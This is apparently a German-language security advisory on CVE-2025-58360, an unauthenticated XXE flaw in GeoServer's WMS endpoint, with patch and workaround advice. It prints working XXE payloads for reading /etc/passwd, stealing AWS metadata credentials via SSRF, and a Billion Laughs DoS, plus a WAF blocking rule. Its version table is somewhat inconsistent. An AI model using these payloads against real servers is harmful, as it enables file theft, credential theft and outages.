🔓 🛰️ „CVE-2025-58360“ – GeoServer-WMS-Endpunkt anfällig für XXE-Angriff 🌟

🏷️ Basisinformationen

• CVE-ID: CVE-2025-58360
• Veröffentlicht: 📅 25. November 2025
• Zuletzt geändert: 📅 25. November 2025 (Stand 26. Nov. noch brandaktuell)
• Schwachstellentyp: XML External Entity (XXE) – CWE-611
• Betroffene Software: GeoServer (Open-Source-Geodatenserver, in Java geschrieben)
• Schweregrad: 🔥 Hoch – CVSS v3.1 Base Score 7.5
  • Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
• Ausnutzung in freier Wildbahn: 🟡 Noch nicht beobachtet (26. Nov. 2025) – aber öffentliche PoCs kursieren
• Authentifizierung erforderlich: ❌ Keine – vollständig ohne Authentifizierung
• Benutzerinteraktion erforderlich: ❌ Keine

🎨 Was diesen Bug besonders (und gefährlich) macht

Dies ist eine klassische, aber verheerende XXE im GetMap-Endpunkt des Web Map Service (WMS).
Angreifer können:

• 📂 Beliebige Dateien lesen, auf die der GeoServer-Prozess Zugriff hat (/etc/passwd, geoserver.xml, private Schlüssel usw.)
• 🌐 Server-Side Request Forgery (SSRF) durchführen, um interne Netzwerke zu scannen oder Metadaten-Endpunkte abzufragen (z. B. AWS/GCP)
• 💣 Denial-of-Service mit Entity-Expansion-Angriffen („Billion Laughs“) auslösen
• 🔗 Potenziell mit anderen Schwachstellen zu vollständigem RCE verketten (nicht direkt, aber in falsch konfigurierten Umgebungen möglich)

🛡️ Betroffene Versionen (detaillierte Tabelle)

Komponente	Verwundbare Versionen	Behoben in	Status
GeoServer Standalone	2.26.0 – 2.26.1 ≤ 2.25.5	2.26.3, 2.25.6, 2.27.0	🔴 Verwundbar
Docker (osgeo/geoserver)	2.26.0 – 2.26.1 ≤ 2.25.5	2.26.2+, 2.27.0	🔴 Verwundbar
Maven org.geoserver:gs-wms	2.26.0 – 2.26.1 ≤ 2.25.5	2.26.2+, 2.25.6	🔴 Verwundbar
Maven org.geoserver.web:gs-web-app	2.26.0 – 2.26.1 ≤ 2.25.5	2.26.2+, 2.25.6	🔴 Verwundbar
GeoServer 2.27.x und neuer	–	Bereits gepatcht	✅ Sicher

🌍 Globale Exposition (Echtzeit, Stand 26. Nov. 2025)

Quelle	Exponierte Instanzen	Anmerkungen
ZoomEye	~49.400	app:"GeoServer"-Suche
FOFA	~24.000	Ergebnisse des letzten Jahres
Shodan	~31.000	Port 8080 + Titelübereinstimmung
GobySec	~20.000	Öffentlicher Netzwerkscan

→ Das sind zehntausende potenziell verwundbarer Server, die gerade jetzt im offenen Internet erreichbar sind! 🌐

🧨 Vollständiger technischer Exploit-Walkthrough

Endpunkt: POST /geoserver/wms
Schlüsselparameter: SLD_BODY (erlaubt rohes XML-Styling)
Verwundbarer Codepfad: Der XML-Parser deaktiviert die Auflösung externer Entities nicht → klassische XXE.

Beispiel 1 – Datei-Offenlegung (/etc/passwd)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<sld:StyledLayerDescriptor xmlns:sld="http://www.opengis.net/sld" version="1.0.0">
  <sld:UserLayer>
    <sld:LayerFeatureConstraints>
      <sld:FeatureTypeConstraint>&xxe;</sld:FeatureTypeConstraint>
    </sld:LayerFeatureConstraints>
  </sld:UserLayer>
</sld:StyledLayerDescriptor>

→ Die Antwort enthält den Inhalt von /etc/passwd 🎉

Beispiel 2 – SSRF zu internen Metadaten (AWS-Beispiel)

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

→ Gibt temporäre AWS-Anmeldeinformationen preis, wenn GeoServer auf EC2 läuft.

Beispiel 3 – Billion-Laughs-DoS

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- repeat up to lol9 -->
]>
<lol>&lol9;</lol>

→ Verbraucht in Sekunden Gigabytes an RAM 💥

🛠️ Offizielle Patches & Downloads

Version	Veröffentlichungsdatum	Download-Link
2.27.0	25. Nov. 2025	https://geoserver.org/release/stable/
2.26.3	25. Nov. 2025	Patch für den Wartungszweig
2.25.6	25. Nov. 2025	Älterer unterstützter Zweig

Docker-Nutzer:

docker pull osgeo/geoserver:2.27.0

🔧 Workarounds (falls Sie nicht sofort patchen können)

1. Gefährliches XML blockieren mit WAF/mod_security-Regel:
   Anfragen ablehnen, die <!ENTITY oder SYSTEM "file:// enthalten
2. SLD_BODY-Parameter global deaktivieren (falls nicht benötigt)
3. GeoServer mit schreibgeschütztem Dateisystem ausführen + Capabilities entfernen
4. Hinter einen Reverse-Proxy stellen, der XML-Bodies für nicht authentifizierte Benutzer entfernt

📢 Offizielle Referenzen & PoCs

• NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2025-58360
• GeoServer-Advisory: https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525
• JIRA-Ticket: https://osgeo-org.atlassian.net/browse/GEOS-11682
• Öffentlicher sicherer PoC (Python): https://gist.github.com/bolhasec/32fa035354d7cc9417aa297e2fe22b30
• Nuclei-Template (Auto-Erkennung): Bereits in den Hauptzweig gemerged

⏰ Zeitleiste

Datum	Ereignis
Vor Nov. 2025	Autonom vom XBOW-AI-Scanner entdeckt
25. Nov. 2025	Koordinierte Offenlegung → Patches veröffentlicht
25. Nov. 2025	CVE zugewiesen und veröffentlicht
26. Nov. 2025	PoCs werden viral, Expositions-Scans schnellen in die Höhe

✨ Schlussworte

Dies ist eine lehrbuchmäßige XXE, die eine weit verbreitete Geodatenplattform mit zehntausenden über das Internet erreichbaren Instanzen trifft.
Die Patches erschienen am selben Tag wie die Offenlegung – riesiges Lob an das GeoServer-Team für das Tempo! 🏆
Aber das Zeitfenster zwischen Patch-Verfügbarkeit und massenhafter Ausnutzung schrumpft rasant.

Wenn Sie GeoServer betreiben → aktualisieren Sie noch heute.
Werden Sie nicht die nächste Schlagzeile.

Bleiben Sie sicher, bleiben Sie glänzend! 🛡️✨